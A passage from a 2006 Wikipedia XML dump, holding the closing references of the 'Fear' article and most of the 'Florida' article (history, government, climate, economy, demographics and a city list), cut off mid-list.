*Joanna Bourke (2005), ''Fear: a cultural history'', Virago
*Corey Robin (2004), ''Fear: the history of a political idea'', Oxford University Press
*Duenwald, Mary. &quot;The Psychology of ...Facial Expressions&quot; Discovery Magazine Vol. 26 NO. 1
*Krishnamurti, J. (1995), ''On Fear'', Harper Collins, ISBN 0062510142

==See also==
*[[Angst]]
*[[Phobia]]
*[[Night terror]]
*[[Appeal to fear]]
*[[Culture of fear]]
*[[Shame]]
*[[Guilt]]
*[[Freud]]
*[[Litany against fear]]
*[[Panic]]
*[[Strategy of tension]]

==External links==
{{wikiquote}}
*[http://www.thefamousquotations.com/subjects/fear-quotations.htm Quotations on Fear]
*[http://buddhism.kalachakranet.org/fear.html A Buddhist View on Fear]

[[Category:Emotion]]
[[Category:Propaganda]]

[[ca:Por]]
[[de:Angst]]
[[es:Miedo]]
[[fa:ترس]]
[[he:פחד]]
[[hr:Strah]]
[[io:Pavoro]]
[[nl:Angst]]
[[pl:Strach]]
[[pt:Medo]]</text>
    </revision>
  </page>
  <page>
    <title>Florida</title>
    <id>10829</id>
    <revision>
      <id>42084172</id>
      <timestamp>2006-03-03T18:47:28Z</timestamp>
      <contributor>
        <ip>69.146.100.22</ip>
      </contributor>
      <comment>/* Law and government */</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
{{US Confederate state |
  Name            = Florida |
  Fullname        = State of Florida|
  Flag            = Flag of Florida.svg |
  Flaglink        = [[Flag of Florida]] |
  Seal            = Florida state seal.svg |
  Map             = Map of USA highlighting Florida.png |
  Nickname        = Sunshine State |
  Capital         = [[Tallahassee, Florida|Tallahassee]] |
  Senators        = [[Bill Nelson (politician)|Bill Nelson]] (D)
[[Mel Martinez]] (R) |
  LargestCity     = [[Jacksonville, Florida|Jacksonville]] |
  UnincorporatedPlace = [[Brandon, Florida|Brandon]] |
  Governor        = [[Jeb Bush]] (R)|
  PostalAbbreviation = FL |
  OfficialLang    = [[English language|English]] |
  AreaRank        = 22&lt;sup&gt;nd&lt;/sup&gt; |
  TotalArea       = 170&amp;nbsp;451 |
  LandArea        = 137,374 |
  WaterArea       = 30,486 |
  PCWater         = 17.9 |
  PopRank         = 4&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 15,982,378 |
  DensityRank     = 8&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 114.43 |
  AdmittanceOrder = 27&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[March 3]], [[1845]] |
  SecessionDate  = [[January 10]], [[1861]] |
  ReadmittanceDate  = [[June 25]], [[1868]] |
  TimeZone        = [[Eastern Standard Time Zone|Eastern]]: [[Coordinated Universal Time|UTC]]-5/[[Daylight saving time|-4]]&lt;br/&gt;[[Central Standard Time Zone|Central]]: UTC-6/[[Daylight saving time|-5]] (western panhandle)|
  Latitude        = 24°30'N to 31°N |
  Longitude       = 79°48'W to 87°38'W |
  Width           = 260 |
  Length          = 800 |
  HighestElev     = 105 |
  MeanElev        = 30 |
  LowestElev      = 0 |
  ISOCode         = US-FL |
  Website         = www.myflorida.com
}}
'''Florida''' is a [[U.S. state|state]] in the [[Southeastern United States|southeast]] [[United States]], situated mostly on a large [[peninsula]] between the [[Gulf of Mexico]], the [[Atlantic Ocean]], and the [[Straits of Florida]]. ''Florida'' is a [[Spanish language|Spanish]] adjective meaning ''flowery''. The peninsula was named by [[Juan Ponce de León]], who landed on the coast on [[April 2]], [[1513]], during [[Pascua Florida]], a [[Spain|Spanish]] term for the [[Easter season]]. ''Pascua Florida Day'', April 2, is a legal holiday in Florida.[http://www.flsenate.gov/statutes/index.cfm?App_mode=Display_Statute&amp;URL=Ch0683/ch0683.htm] Its U.S. Postal abbreviation is '''FL''', though a traditional abbreviation is '''Fla.'''

==History==
[[Image:Five flags of Florida.jpg|200px|left|thumb|Five of the flags that have been flown over Florida throughout the centuries.]]
{{main|History of Florida}}

Archaeological finds indicate that Florida had been inhabited for many thousands of years prior to any European settlements. Of the many indigenous people, the largest tribes were the [[Ais (tribe)|Ais]], [[Calusa]], [[Tequesta]], [[Timucua]] and the [[Tocobago]] tribes. [[Juan Ponce de León]], a Spanish [[conquistador]], named this new land in honor of his discovery of the land on [[April 2]] [[1513]], during [[Pascua Florida]], which is a Spanish term for the [[Easter season]]. From that date forward, the land became known as &quot;La Florida.&quot; Over the following century, the Spanish and [[France|French]] both established settlements in Florida, with varying degrees of success. Spanish [[Pensacola, Florida|Pensacola]] was established by Don [[Tristán de Luna y Arellano]] as the first European settlement in the continental United States in 1559, but its settlement was interrupted by a [[hurricane]]. French [[Huguenots]] founded [[Fort Caroline]] in modern day [[Jacksonville, Florida|Jacksonville]] in 1564, but it was conquered by forces from the new Spanish colony of [[St. Augustine, Florida|St. Augustine]] the following year. When Huguenot leader [[Jean Ribault]] had learned of the new Spanish threat, he launched an expedition to sack their settlement. En route, however, severe storms at sea waylaid the expedition, which consisted of most of the colony's men, allowing St. Augustine founder [[Pedro Menéndez de Avilés]] time to march his men over land and conquer the poorly defended to Fort Caroline. Most of the Huguenots were slaughtered, and Menéndez de Avilés marched south and captured the survivors of the wrecked French fleet, ordering all but a few [[Roman Catholic Church|Catholics]] executed beside a river subsequently called ''[[Matanzas River|Matanzas]]'' ([[Spanish language|Spanish]] for &quot;killings&quot;). St. Augustine, the US' oldest continually inhabited European settlement besides [[San Juan, Puerto Rico]], and Pensacola, the first European settlement in the [[Continental United States]], came to serve as the capitals of the British and Spanish colonies of [[East Florida|East]] and [[West Florida|West]] Florida, respectively. The Spanish never had a firm hold on Florida, maintaining a tenuous control of the region by converting the local tribes, briefly with [[Society of Jesus|Jesuits]] and later with [[Franciscan]] friars. The local leaders or [[caciques]] demonstrated their loyalty to the Spanish by converting to Catholicism and welcoming the Franciscan priests into their villages.

The area of Florida diminished with the establishment of [[Great Britain|British]] colonies to the north and [[France|French]] colonies to the west. The English weakened Spanish power in the region by supplying their [[Creek people|Creek Indian]] allies with firearms and urging them to raid the [[Timucua]]n and [[Apalachee]] client-tribes of the Spanish. At other times, the English outright attacked St. Augustine, burning the city and its cathedral to the ground several times, while the citizens hid behind the walls of the [[Castillo de San Marcos]]. The Spanish, meanwhile, encouraged slaves to flee the British-held [[Carolinas]] and come to Florida, where they were converted to Catholicism and given freedom, in return for settling in a buffer community north of St. Augustine, called Gracie Real de Santa Teresa de Mose, the first completely black settlement in what would become the United States. Great Britain eventually gained control of Florida diplomatically in 1763 through the [[Treaty of Paris (1783)|Peace of Paris]] (the Castillo de San Marcos surrendered for the first time, having never been taken militarily). England tried to develop Florida through the importation of immigrants for labor, including some from [[Minorca]] and [[Greece]], but this ultimately failed. Spain regained Florida after England's defeat by the American colonies and the subsequent Treaty of Paris in 1783. Spain finally ceded Florida to the United States with the [[Adams-Onís Treaty]] in 1819, in exchange for the U.S. renouncing any claims on [[Texas]]. On [[March 3]] [[1845]], Florida became the 27th state of the United States of America. Florida seceded from the [[Union (American Civil War)|Union]] on [[January 10]] [[1861]] at the outbreak of the [[American Civil War|Civil War]] and became one of the founding members of the [[Confederate States of America]] ten days later. After then end of the war in 1865, Florida's [[United States Congress|Congress]]
representation was restored on [[June 25]], [[1868]].

Until the mid-twentieth century, Florida was the least populous Southern state. However, migration from the [[Rust Belt]] combined with Florida's warm climate (tempered by the growing availability of [[air conditioning]]) made it a haven for newcomers. Today, Florida is the most populous state in the South besides [[Texas]] and the fourth most populous in the US. The [[USS Florida|USS ''Florida'']] was named in honor of the state.

==Law and government==
{{main|Government of Florida}}

The basic structure, duties, function, and operations of the Government of the State of Florida are defined and established by the [[Florida Constitution]], which also establishes the basic law of the state and guarantees various rights and freedoms of the people. The state government consists of three separate branches, the judicial, executive and legislative. The [[Florida Legislature]] enacts legislation, such as those in the [[Florida Statutes]], which are signed into law by the [[Governor of Florida]].

The [[Florida Legislature]] has a Senate of 40 members and a House of 120 members. The current governor is [[United States Republican Party|Republican]] [[Jeb Bush]], brother of President [[George W. Bush]] and son of former President [[George H. W. Bush]].

Though Florida has traditionally been a [[United States Democratic Party|Democratic]] state, in recent years the reallignment of the [[Solid South]] has meant that traditionally conservative Democrats have moved en masse to the Republican Party. Combined with explosive population growth which has brought with it many [[United States Republican Party|Republicans]], the state has been left with a small Republican edge. Despite this demographic near-parity, Republicans control the governorship and most other statewide elected offices, both houses of the state legislature, 18 of the state's 25 seats in the [[United States House of Representatives|House of Representatives]], and one of the state's two [[United States Senate|Senate]] seats. The [[U.S. presidential election, 2000, in Florida|2000 Presidential election in Florida]] was extremely close. As such, and because of its high population and large number of electoral votes, Florida is considered by political analysts to be a key [[swing state]] in [[President of the United States|Presidential]] elections. The [[Tampa, Florida|Tampa]] area, once a major center of Democratic [[trade union|union]] support, is now almost evenly split between registered Republicans and Democrats, making it part of the important [[Interstate 4|I-4]] Corridor swing region. 

Democrats outnumber Republicans in Florida in voter registration with Democrats 43% to Republicans' 39%.
{{see also|List of Florida Governors|U.S. presidential election, 2000, in Florida|U.S. presidential election, 2004, in Florida}}

==Taxation==
Florida is one of the nine states which do not impose a personal [[income tax]] ([[list of U.S. states without personal income tax|list of others]]).  The state [[sales tax]] rate is 6 (six) percent [http://www.myflorida.com/dor/taxes/sales_tax.html]. Local governments may levy an additional local option sales tax of up to 1.5 percent. A locale's [[use tax]] rate is the same as its sales tax rate, including local options if any.  Use taxes are payable for purchases made out-of-state and brought into Florida within 6 months of the purchase date.  Other taxes are mostly levied on businesses.  They include the following taxes:  Corporate Income, Communication Services, Intangibles, Unemployment, Solid Waste, Documentary Stamps, Insurance Premium,  Pollutants, and various fuel taxes. For more information visit the Florida Department of Revenue website at [http://www.myflorida.com/dor].

==Geography==
{{ussm|florida.PNG|fl}}
{{further|[[List of counties in Florida]]}}

Florida consists of the [[Florida Panhandle|panhandle]] extending along the northern [[Gulf of Mexico]] and the large [[peninsula]] with the [[Atlantic Ocean]] as its eastern border and the Gulf of Mexico as its western border.  It is bordered on the north by the states of [[Georgia (U.S. state)|Georgia]] and [[Alabama]] and on the west, at the end of the panhandle, by Alabama.  It is near the countries of the [[Caribbean]], particularly the [[Bahamas]] and [[Cuba]].

At 345 feet (105 metres) [[above mean sea level]], [[Britton Hill]] is the highest point in Florida.  This is also the lowest highpoint of any U.S. state. Contrary to popular belief, however, Florida is not an entirely &quot;flat&quot; state. Some places, such as Clearwater, feature relatively high vistas rising 50 to 100 feet (15&amp;ndash;30&amp;nbsp;m) above the water. Much of the interior of Florida, typically 25 miles (40&amp;nbsp;km) or more away from the coastline, features rolling hills with elevations ranging from 100 to 250 feet (30&amp;ndash;76&amp;nbsp;m) in many locations.  Lake County holds the highest point of peninsular Florida, [[Sugarloaf Mountain, Florida|Sugarloaf Mountain]] , at 312 feet (95&amp;nbsp;m). The amount of topographical change will surprise many visitors.

==Boundaries==
The state line begins at the Atlantic, traveling west, south, and north up the [[thalweg]] of the [[Saint Mary's River (Florida/Georgia)|Saint Mary's River]].  At the origin of that river, it then follows a straight line nearly due-west and slightly north, to the point where the [[confluence]] of the [[Flint River (Georgia)|Flint River]] (from Georgia) and the [[Chattahoochee River]] (down the Alabama/Georgia line) used to form Florida's [[Apalachicola River]]. (This point is now under Lake Seminole since Woodruff Dam was built.)  The border with Georgia continues north through the lake for a short distance up the former thalweg of the Chattahoochee, then with Alabama runs due west along [[latitude]] 31°N to the [[Perdido River]], then south along its thalweg to the Gulf via Perdido Bay.

==Climate==
[[Image:Hurricane Frances, September 2nd.jpg|right|thumb|Hurricane Frances near peak strength.]]
[[Image:nasa.florida.750pix.jpg|right|thumb|Florida taken from [[NASA]] Shuttle Mission [[STS-95]] on [[31 October]] [[1998]].]]
[[Image:Coldsunday.jpg|right|thumb|250px|The &quot;Cold Sunday&quot; of January 1982 ruined most of the orange crop in Florida.]]
The climate of Florida is tempered somewhat by its proximity to water. Most of the state has a humid subtropical climate with the extreme tip of Florida and the [[Florida Keys]] bordering on a true tropical climate. Cold fronts can occasionally bring high winds and cool to cold temperatures to the entire state during late Fall, and Winter. One such front swept through the peninsula on [[November 25]], [[1996]] bringing cold temperatures and winds up to 95 mph, knocking out power to thousands, and damaging mobile homes. However, Florida averages 300 days of full sunshine a year. The seasons in Florida often called &quot;Hot and Hotter&quot; are actually determined more by [[precipitation (meteorology)|precipitation]]  than by temperature with warm, relatively dry [[winter|winters]] and [[autumn|autumns]] (the dry season) and hot, wet [[spring (season)|springs]] and especially the [[summer|summers]] (the wet season). The [[Gulf Stream]] has a moderating effect on Florida climate and although it is common for much of Florida to see a high summer temperature over 90 degrees [[Fahrenheit]] (32&amp;nbsp;&amp;deg;C), it is not common for the mercury to go above 100 degrees Fahrenheit (39&amp;nbsp;&amp;deg;C) in Florida. The hottest temperature ever recorded in the state was 109 &amp;deg;F (43&amp;nbsp;&amp;deg;C) set on [[June 29]], [[1931]] in [[Monticello, Florida|Monticello]].  The coldest was 2 &amp;deg;F below zero (&amp;minus;19&amp;nbsp;&amp;deg;C), on [[February 13]], [[1899]] just 25 miles (40&amp;nbsp;km) away, in [[Tallahassee, Florida|Tallahassee]].  Mean high temperatures for late July are primarily in the low 90's Fahrenheit (32&amp;ndash;35&amp;nbsp;&amp;deg;C). Mean low temperatures for late January range from the low 40's Fahrenheit (4&amp;ndash;7&amp;nbsp;&amp;deg;C) in North Florida to the mid-50's (≈13&amp;nbsp;&amp;deg;C)in South Florida.

While Florida's nickname is the &quot;Sunshine State&quot;, severe weather is a common occurrence in Florida. [[Central Florida]] is known as the [[lightning]] capital of the U.S. as it experiences more lightning strikes than anywhere else in the country. Statewide, Florida has the highest average precipitation of any state, due in large part to afternoon [[thunderstorms]] which are common throughout most of the state from late spring until the early autumn. However, a sunny day may be interrupted with a storm only to return to regular gorgeous weather. These thunderstorms, which are caused by airflow from the [[Gulf of Mexico]] and the [[Atlantic Ocean]] colliding over the peninsula, seemingly &quot;pop up&quot; in the early afternoon and can often bring heavy downpours, high winds and sometimes [[tornado]]es. This is frequently due to &quot;onshore flow,&quot; or a collision of sea breezes from the east and west coasts. Florida leads the nation in tornadoes per square mile, although the tornadoes in Florida do not get as large as those in the [[Midwest]] or [[Great Plains]]. [[Hail]] is not an uncommon occurrence in some of the more severe thunderstorms.

[[Snow]] is a rare occurrence in Florida. During the [[Great Blizzard of 1899]], Florida experienced [[blizzard]] conditions for possibly the first time since explorers had arrived. During that time, the [[Tampa Bay Area]] had &quot;Gulf effect&quot; snow, similar to [[lake effect]] snowfall. The Great Blizzard of 1899 was also the only time the temperature has fallen below 0 degrees Fahrenheit (&amp;minus;18&amp;nbsp;&amp;deg;C), registering -2° F (&amp;minus;18.9&amp;nbsp;&amp;deg;C)in [[Tallahassee, Florida|Tallahassee]] on [[February 13]], [[1899]]. The most widespread snowfall in Florida history happened in February 1978 with snow falling over much of the state in different times of the month, extending as far south as [[Homestead, Florida|Homestead]]. Snow [[flurries]] fell on [[Miami Beach]] for the only time in recorded history. 1982's [[Cold Sunday]], which saw freezing conditions throughout much of the country, ruined that year's orange crops. In 1989, there was a severe hard freeze that created lots of ice and also caused minor flurries in sections of the state and resulted in rolling blackouts due to power failures caused by massive demands on the power grid for heating.

Although some storms have formed out of season, [[Hurricane|hurricanes]] pose a threat during hurricane season, which is from [[June 1]] to [[November 30]]. Florida saw a slew of destruction in 2004 when it was hit by a record four hurricanes.  Hurricanes [[Hurricane Charley|Charley]] ([[August 13]]), [[Hurricane Frances|Frances]] ([[September 4]]-September 5|5), [[Hurricane Ivan|Ivan]] ([[September 16]]), and [[Hurricane Jeanne|Jeanne]]  ([[September 25]]-[[September 26|26]]) cumulatively cost forty-two billion dollars to the state. In 2005, [[Hurricane Dennis]] ([[July 10]]) became the fifth storm to strike Florida within 11 months. Later, [[Hurricane Katrina]] ([[August 25]]) passed through [[South Florida]] and [[Hurricane Rita]] ([[September 20]]) swept through the [[Florida Keys]]. [[Hurricane Wilma]] made landfall in Florida in the early morning of [[October 24]] as a [[Saffir-Simpson Scale|category 3]] hurricane, with storm's eye hitting near [[Cape Romano]], just south of [[Marco Island, Florida|Marco Island]], according to [[National Hurricane Center]].

Florida was also the site of the second most costly single weather disaster in U.S. history, [[Hurricane Andrew]], which caused more than twenty-five [[billion]] dollars ($25,000,000,000) in damage when it struck on [[August 24]], [[1992]]. Among a long list of other infamous hurricane strikes were the 1926 [[Great Miami Hurricane]], the [[Lake Okeechobee Hurricane of 1928]], the [[Labor Day Hurricane of 1935]], [[Hurricane Donna]] in 1960, and [[Hurricane Opal]] in 1995.

{{see also|Catastrophic Florida Hurricanes: 1900-1960|Catastrophic Florida Hurricanes: 1961-present|List of all-time high and low temperatures by state}}

==Economy==    
[[Image:Shuttle.jpg|thumb|right|Launch of [[Space Shuttle Columbia]] from [[Kennedy Space Center]].]]
[[Image:wiki_florida.jpg|thumb|150px||left|Greetings from Florida]]

The gross state product of Florida in 2003 was $550 billion.  The per capita personal income was $30,098, ranking 26&lt;sup&gt;th&lt;/sup&gt; in the nation.

Florida's economy is heavily based on tourism. About 60 million visitors come to Florida every year. Warm weather most of the year and hundreds of miles of beach provide a thriving vacation spot for travelers from around the world. The large [[Walt Disney World Resort]] with four theme parks and over twenty hotels plus countless water parks, shopping centers and other facilities, located in [[Lake Buena Vista, Florida|Lake Buena Vista]] drives the economy of that area, along with more recent entries into the theme park arena such as the [[Universal Orlando Resort]]. The great amount of sales and tourist tax revenue is what allows the state to be one of the few to not levy a personal income tax.  Other major industries include [[citrus]] [[fruit]] and juice production, banking, and [[phosphate]] mining within the [[Bone Valley]] region.  With the arrival of the space program at [[Kennedy Space Center]] in the 1960s, Florida has attracted a large number of aerospace and military industries to the state.  Florida did not have any state minimum wage laws until [[November 2]], [[2004]], when voters passed a Constitutional Amendment requiring inflationary increases to the minimum wage every six months.

Historically, Florida's economy was based upon cattle farming and agriculture (especially [[sugar cane]], [[citrus]], [[tomato]]es, and [[strawberry|strawberries]]). As land speculators discovered Florida in the early 1900's, and when Plant and Flagler developed the railway systems, more people moved in, drawn by the usually good weather. From then on, tourism boomed, fueling a cycle of development and tourism that overwhelmed a great deal of farmland. 

Other key industries, commercial fishing and water-based tourist activities (sports fishing and diving) were threatened by severe Red Tide outbreaks in 2004 and 2005 off the west coast.

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 34,730
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 54,477
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 87,445
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 140,424
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 187,748
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 269,493
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 391,422
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 528,542
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 752,619
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 968,470
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 1,468,211
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 1,897,414
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 2,771,305
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 4,951,560
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 6,789,443
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 9,746,324
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 12,937,926
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 15,982,378
|}

As of 2005, Florida has an estimated population of 17,789,864, which is an increase of 404,434, or 2.3%, from the prior year and an increase of 1,807,040, or 11.3%, since the year 2000.  This includes a natural increase since the last census of 246,058 people (that is 1,115,565 births minus 869,507 deaths) and an increase due to net migration of 1,585,704 people into the state.  Immigration from outside the United States resulted in a net increase of 528,085 people, and migration within the country produced a net increase of 1,057,619 people. {{fact}}

===Race and ancestry===
{|
|-
|[[Image:Florida_population_map.png|thumb|right|300px|Florida Population Density Map]]
&lt;table&gt;[http://factfinder.census.gov/servlet/SAFFFacts?_event=Search&amp;geo_id=&amp;_geoContext=&amp;_street=&amp;_county=&amp;_cityTown=&amp;_state=04000US12&amp;_zip=&amp;_lang=en&amp;_sse=on&amp;pctxt=fph&amp;pgsl=010]
&lt;tr&gt;&lt;td style = &quot;width:30px;&quot;&gt; &amp;nbsp;&lt;/td&gt;&lt;td style = &quot;width:200px&quot;&gt; [[Whites|White]]&lt;/td&gt;&lt;td&gt;65.4%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; [[Hispanic]]&lt;/td&gt;&lt;td&gt;16.8%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; [[Blacks|Black]]&lt;/td&gt;&lt;td&gt;14.6%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; [[Asian American|Asian]]&lt;/td&gt;&lt;td&gt;1.7%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; [[Native American (U.S. Census)|Native American]]&lt;/td&gt;&lt;td&gt;0.3%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; [[Mixed Race]]&lt;/td&gt;&lt;td&gt;2.4%&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

Over 16 per cent of Florida's population was Hispanic of any race. The largest reported ancestries in the 2000 Census were [[German people|German]] (11.8%), [[Irish people|Irish]] (10.3%), [[English people|English]] (9.2%), [[United States|American]] (8%) and [[Italian people|Italian]] (6.3%){{fact}}.
|}
Blacks, who during the cotton and sugar plantation era made up fully 50 percent of the state's population, have a large presence in the deeply southern middle Florida region of North Florida and in the cities of [[Jacksonville]], [[Gainesville, Florida|Gainesville]], and [[Fort Lauderdale]]. Transplanted Northerners are prominent on the West Coast, particularly in the Tampa suburbs. Floridians of British ancestry are dominant in most coastal cities, while Floridians of white American ancestry dominate the culturally Southern areas of inland North Florida. Florida's large and diverse Hispanic community consists particularly of Cubans in [[Miami, Florida|Miami]] and [[Tampa, Florida|Tampa]], Puerto Ricans in Tampa and [[Orlando, Florida|Orlando]] and Mexican migrant workers in inland West-Central and South Florida. There are also a number of Haitian Americans in Miami and other parts of Florida.

Native white Floridians, especially those who have descended from long-time Florida families, are affectionately referred to as &quot;[[White cracker|Florida Crackers]].&quot; 

Florida's fast-growing Hispanic population is heaviest in [[Miami]], [[Orlando, Florida|Orlando]], and [[Tampa]]. [[Black (people)|Black]] Floridians are overwhelmingly [[Democratic Party (United States)|Democratic]] voters. Blacks comprise a large fraction of the populations of [[North Central Florida]], [[Jacksonville, Florida|Jacksonville]], [[Fort Lauderdale, Florida|Fort Lauderdale]], and the [[Tampa-St. Petersburg-Clearwater, Florida, Metropolitan Statistical Area|Tampa Bay area]].

===Languages===
As of 2000, 76.9% of Florida residents age 5 and older speak [[English language|English]] at home and 16.5% speak [[Spanish language|Spanish]]. [[French language|French]] is the third most spoken language at 2.2%, followed by [[German language|German]] at 0.6% and [[Italian language|Italian]] at 0.4%.

Article II, Section 9 of the [[Florida Constitution]] provides that &quot;English is the official language of the State of Florida.&quot; This was adopted in 1988 by a vote following an Initiative Petition.

===Religion===
Florida is mostly Protestant, but with a growing Roman Catholic community due to immigration. There is also a sizable Jewish community in some parts of Florida which makes Florida unique among Southern states because no other Southern state has a large Jewish community. Florida's current religious affiliations are shown in the table below:

*[[Christianity|Christian]] &amp;ndash; 82%
**[[Protestantism|Protestant]] &amp;ndash; 54%
***[[Baptist]] &amp;ndash; 19%
***[[Methodism|Methodist]] &amp;ndash; 6%
***[[Presbyterianism|Presbyterian]] &amp;ndash; 4%
***[[Episcopal]] &amp;ndash; 3%
***[[Lutheranism|Lutheran]] &amp;ndash; 3%
***[[Pentecostalism|Pentecostal]] &amp;ndash; 3%
***Other Protestant &amp;ndash; 16%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 26%
**Other Christian &amp;ndash; 2%
*[[Judaism|Jewish]] &amp;ndash; 4%
*Other Religions &amp;ndash; 1%
*Non-Religious &amp;ndash; 13%

==Important cities, towns, and communities==
[[Image:Acosta Bridge from Warren Bridge.jpg|right|thumb|[[Jacksonville, Florida|Jacksonville]]]]
[[Image:Miamidowntown.JPG|right|thumb|[[Miami, Florida|Miami]]]]
[[Image:Fort Lauderdale Skyline.jpeg|right|thumb|[[Fort Lauderdale, Florida|Fort Lauderdale]]]]
[[Image:Orlando Skyline at night.jpg|thumb|right|[[Orlando, Florida|Orlando]]]]
[[Image:florida_state_capitol.jpg|right|thumb|[[Tallahassee, Florida|Tallahassee]]]]
[[Image:tampadowntown.jpg|thumb|right|[[Tampa, Florida|Tampa]]]]
{{main articles|[[List of cities in Florida]] and [[Florida locations by per capita income]]}}

&lt;table&gt;
&lt;tr&gt;
&lt;td style = &quot;vertical-align:top;width:200px&quot;&gt;
'''Metropolitan Area Population &gt; 5,000,000'''
*[[South Florida metropolitan area|Miami-Ft.Lauderdale-West Palm Beach]]
'''Metropolitan Area Population &gt; 2,500,000'''
*[[Tampa-Saint Petersburg-Clearwater, Florida, Metropolitan Statistical Area|Tampa-St. Petersburg-Clearwater]]
'''Metropolitan Area Population &gt; 1,000,000'''
*[[Jacksonville, Florida|Jacksonville]]
*[[Orlando, Florida|Orlando]]
'''Metropolitan Area Population &gt; 400,000'''
*[[Lee County, Florida|Cape Coral-Fort Myers]]
*[[Daytona Beach, Florida|Deltona-Daytona Beach-Deland]]
*[[Lakeland, Florida|Lakeland]]
*[[Melbourne, Florida|Palm Bay-Melbourne-Titusville]]
*[[Pensacola, Florida|Pensacola]]
*[[Port Saint Lucie, Florida|Port Saint Lucie-Fort Pierce-Stuart]]
*[[Sarasota, Florida|Sarasota-Bradenton]]
'''City Population &gt; 200,000'''
*[[Hialeah, Florida|Hialeah]]
*[[Jacksonville, Florida|Jacksonville]]
*[[Miami, Florida|Miami]]
*[[Orlando, Florida|Orlando]]
*[[St. Petersburg, Florida|St. Petersburg]]
*[[Tampa, Florida|Tampa]]
'''City Population &gt; 100,000'''
*[[Cape Coral, Florida|Cape Coral]]
*[[Clearwater, Florida|Clearwater]]
*[[Coral Springs, Florida|Coral Springs]]
*[[Fort Lauderdale, Florida|Fort Lauderdale]]
*[[Gainesville, Florida|Gainesville]]
*[[Hollywood, Florida|Hollywood]]
*[[Miami Gardens, Florida|Miami Gardens]]
*[[Pembroke Pines, Florida|Pembroke Pines]]
*[[Miramar, Florida|Miramar]]
*[[Port Saint Lucie, Florida|Port Saint Lucie]]
*[[Pompano Beach, Florida|Pompano Beach]]
*[[Tallahassee, Florida|Tallahassee]]
&lt;/td&gt;&lt;td style = &quot;vertical-align:top;width:200px&quot;&gt;
'''City Population &gt; 75,000'''
*[[Boca Raton, Florida|Boca Raton]]
*[[Brandon, Florida|Brandon]]
*[[Davie, Florida|Davie]]
*[[Deltona, Florida|Deltona]]
*[[Kendall, Florida|Kendall]]
*[[Lakeland, Florida|Lakeland]]
*[[Miami Beach, Florida|Miami Beach]]
*[[Palm Bay, Florida|Palm Bay]]
*[[Plantation, Florida|Plantation]]
*[[Sunrise, Florida|Sunrise]]
*[[West Palm Beach, Florida|West Palm Beach]]
'''City Population &gt; 50,000'''
*[[Boynton Beach, Florida|Boynton Beach]]
*[[Bradenton, Florida|Bradenton]]
*[[Daytona Beach, Florida|Daytona Beach]]
*[[Deerfield Beach, Florida|Deerfield Beach]]
*[[Delray Beach, Florida|Delray Beach]]
*[[Fort Myers, Florida|Fort Myers]]
*[[Fountainbleau, Florida|Fountainbleau]]
*[[Kendale Lakes, Florida|Kendale Lakes]]
*[[Kissimmee, Florida|Kissimmee]]
*[[Largo, Florida|Largo]]
*[[Lauderhill, Florida|Lauderhill]]
*[[Lehigh Acres, Florida|Lehigh Acres]]
*[[Margate, Florida|Margate]]
*[[Melbourne, Florida|Melbourne]]
*[[North Miami, Florida|North Miami]]
*[[North Miami Beach, Florida|North Miami Beach]]
*[[Palm Harbor, Florida|Palm Harbor]]
*[[Pensacola, Florida|Pensacola]]
*[[Sarasota, Florida|Sarasota]]
*[[Spring Hill, Florida|Spring Hill]]
*[[Tamarac, Florida|Tamarac]]
*[[Tamiami, Florida|Tamiami]]
*[[Town 'n' Country, Florida|Town 'n' Country]]
*[[Weston, Florida|Weston]]
&lt;/td&gt;&lt;td style = &quot;vertical-align:top;width:200px&quot;&gt;
'''City Population &gt; 25,000'''
*[[Altamonte Springs, Florida|Altamonte Springs]]
*[[Aventura, Florida|Aventura]]
*[[Apopka, Florida|Apopka]]
*[[Bonita Springs, Florida|Bonita Springs]]
*[[Coconut Creek, Florida|Coconut Creek]]
*[[Cooper City, Florida|Cooper City]]
*[[Coral Gables, Florida|Coral Gables]]
*[[Dunedin, Florida|Dunedin]]
*[[East Lake, Florida|East Lake]]
*[[Egypt Lake-Leto, Florida|Egypt Lake-Leto]]
*[[Fort Pierce, Florida|Fort Pierce]]
*[[Greater Carrollwood, Florida|Greater Carrollwood]]
